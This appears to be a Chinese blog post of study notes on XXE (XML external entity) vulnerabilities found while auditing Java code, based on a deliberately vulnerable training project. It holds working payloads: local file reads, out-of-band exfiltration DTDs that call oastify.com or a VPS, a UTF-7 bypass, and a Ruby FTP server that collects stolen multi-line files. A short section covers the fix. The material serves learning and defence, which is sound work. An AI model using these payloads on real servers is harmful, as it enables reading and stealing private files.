Java代码审计中的XXE

Java代码审计中的XXE

感觉第一次学到xxe这个漏洞时学的不是很好,现在再来深入学习一下

参考:Java OWASP 中的 XXE 代码审计 | Drunkbaby’s Blog (drun1baby.top)

【Java代码审计】XXE_java xxe-CSDN博客

WEB安全&JAVA代码审计:XXE外部实体注入 - FreeBuf网络安全行业门户

代码审计基于此项目:JoyChou93/java-sec-code

XML文档的格式与结构

WEB安全&JAVA代码审计:XXE外部实体注入 - FreeBuf网络安全行业门户

关于DTD:JAVA XXE 从原理到利用-先知社区 (aliyun.com)

判断XXE漏洞存在

  1. 观察发送数据包中数据是否是xml格式
  2. 搜索处理XML文档相关的类与接口
  3. 开始测试,尝试是否能顺利访问DNS平台留下记录

审计中常见的类/接口

xml文件的解析可用到的解析器有四种,对应不同的写法以及解析包

详细比较:Java进阶(五十一)XML 四种解析器(dom,sax,jdom,dom4j)原理及性能比较 java xml解析工具_java jdom-CSDN博客

XMLReader(接口)

XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞

SAXBuilder

SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用SAXHandler的实例侦听 SAX 事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现 XXE 漏洞

SAXReader

DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。

SAXParserFactory

SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。

Digester

Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用

DocumentBuilderFactory

javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

由上述类与接口的功能与配置写法可知,如果使用默认的写法,一般都是会造成xxe漏洞的

需要使用安全写法或手动过滤

有回显的XXE

最开始我们看到的 XMLReader 代码,以及其他的 xxxReader 代码,都是不回显的,因为它们只是对内容进行了解析,但是并没有对内容进行读取与输出。

  • 因为 XML 也是反序列化的一种,例如平常的 Runtime.getRuntime.exe() 是没有回显的,如果要有回显,必须要写 byte[] code = ... 这样子,把最后的结果读取出来。

DocumentBuilder XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST)
public String DocumentBuilderVuln(HttpServletRequest request) {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputSource is = new InputSource(request.getInputStream());
Document document = db.parse(is); // parse xml

// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
return buf.toString();
} catch (Exception e) {
e.printStackTrace();
logger.error(e.toString());
return e.toString();
}
}

payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Drunkbaby [
<!ENTITY xxe SYSTEM "file:///E:/1.txt">
]>
<root>&xxe;</root>

这里环境搭建出了一些问题,流程分析就不动态调试了,手动追踪一下代码执行流程

在此列出一些比较重要的代码释义

1
public String DocumentBuilderVuln(HttpServletRequest request) {

定义了一个名为 DocumentBuilderVuln 的方法,接收 HttpServletRequest 对象作为参数,返回一个字符串。

1
2
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

创建一个新的 XML 解析器工厂对象。

DocumnetBuilderFactory 类用 newInstance() 的方式进行实例化。本身抽象类是不可以实例化的,但是 DocumnetBuilderFactory 自己定义了一个 newInstance() 实例化的方法。

1
DocumentBuilder db = dbf.newDocumentBuilder();

从工厂中生成一个 XML 解析器(DocumentBuilder)

1
InputSource is = new InputSource(request.getInputStream());

将 HTTP 请求体作为输入流传入,用于解析 XML 数据,就是读入数据

1
Document document = db.parse(is);  // parse xml

解析 XML 数据,生成一个 DOM 树结构的 Document 对象。开始反序列化操作

1
return buf.toString();

最终可以看到调用了toString()方法,返回了拼好的字符串,所以这个方法是有回显的,能够用来读取一些文件内容

无回显的XXE

返回包中是看不到字符串回显的

一般使用DNS检测来打无回显

XMLReader,SAXBuilder,SAXReader,SAXParser,Digester 这几个函数都是无回显的

测试xxe漏洞是否存在只需要使用DNS检测即可

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE admin [ <!ENTITY xxe SYSTEM "http://zehfrya24b6tjn2oz8w00x6pegk784wt.oastify.com"> ]>

<root>&xxe;</root>

漏洞利用(利用dns外带数据)

将一个恶意的DTD放在自己的vps上

evil.dtd

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///E:/1.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://pg9ydrnt7kzybog1jz9hyjmtuk0aoz.oastify.com/?x=%file;'>">
%eval;
%exfil;

它将读取本地文件 E:/1.txt

然后访问如下 URL:

1
http://pg9ydrnt7kzybog1jz9hyjmtuk0aoz.oastify.com/?x=<文件内容>

文件内容就这样泄露到了攻击者控制的域名。

  • 原理上来说是这样的:

有时候如果 xxe 当中如果服务端没有正确处理好使用 try catch,那么如果抛出异常 Web 界面通常会显示这个错误,所以我们可以如此攻击。

之前实操的时候是能看到网页回显是有报错的,但是dns平台有记录

发包攻击

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE admin [
<!ENTITY %remote SYSTEM
"http://vps地址/evil.dtd">
%remote;
]>

<root>&xxe;</root>

攻击顺利是能看到返回的dns记录中url参数中有x=…(文件内容)

这里环境调试出了一些问题,很遗憾没有看到成功的dns外带数据

XXE漏洞的修复

修复的手段主要就是一种:禁用外部实体 DTD。对于不同的解析器有不同的修复手段。

(外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,禁止外部实体,防止外部恶意文件加载)

关键语句就是这两句:

1
2
3
4
5
6
var xif = XMLInputFactory.newInstance();
// 不支持外部实体
// 后面两行是多加的代码
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 不支持dtd
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

绕过手法与trick

编码绕过

utf7

1
2
3
4
5
<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-

Java XML DTD 的 trick 利用

1
2
3
<!ENTITY % evil SYSTEM "file:///" >
<!ENTITY % print "<!ENTITY send SYSTEM 'netdoc://%evil;'>">
%print;

解决文件跨行传输—— ftp&jdk1.7+

看到这部分的时候觉得好厉害,居然还可以这样做

在 XXE 盲注中,通过 http 协议访问我们的服务器会只获取被读取的文件第一行。

在 jdk1.7 以前,可以通过http协议传输具有换行的文件的。因为java会对换行符进行URL编码然后就访问一个地址。

但是1.7之后,就修复了这个问题,会报错。

但是我们仍然可以用ftp服务器来接受换行文件,因为ftp没有进行类似的限制,换行之后的字符会被当做CWD命令输入。

需要起一个恶意的FTP服务器,其他按照正常的XXE盲注打。

1
2
3
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://127.0.0.1:2121/%b;'>">
%c;

payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://vps:8088/">
%asd;
%rrr;
]>
<a></a>

启动ftp-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
require 'socket'

ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088

log = File.open( "xxe-ftp.log", "a")

payload = '<!ENTITY % b SYSTEM "file:///tmp/1.txt">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM \'ftp://127.0.0.1:2121/%b;\'>">
%c;'

Thread.start do
loop do
Thread.start(http_server.accept) do |http_client|
puts "HTTP. New client connected"
loop {
req = http_client.gets()
break if req.nil?
if req.start_with? "GET"
http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
end
puts req
}
puts "HTTP. Connection closed"
end
end

end

Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
log.write "get req: #{req.inspect}\n"

if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
puts "! PORT received"
puts "> 200 PORT command ok"
ftp_client.puts("200 PORT command ok")
else
puts "> 230 more data please!"
ftp_client.puts("230 more data please!")
end
}
puts "FTP. Connection closed"
end
end
end

loop do
sleep(10000)
end

总结

  1. 代码审计一般只需要通过打DNS得到访问记录判断此漏洞存在即可
  2. 实际利用此漏洞(无回显)需要通过dns外带数据得到敏感信息
  3. http传输一般只会读取文件第一行,可以通过开启恶意ftp服务读取换行文件

Java代码审计中的XXE
http://huang-d1.github.io/2025/07/13/Java代码审计中的XXE/
作者
huangdi
发布于
2025年7月13日
许可协议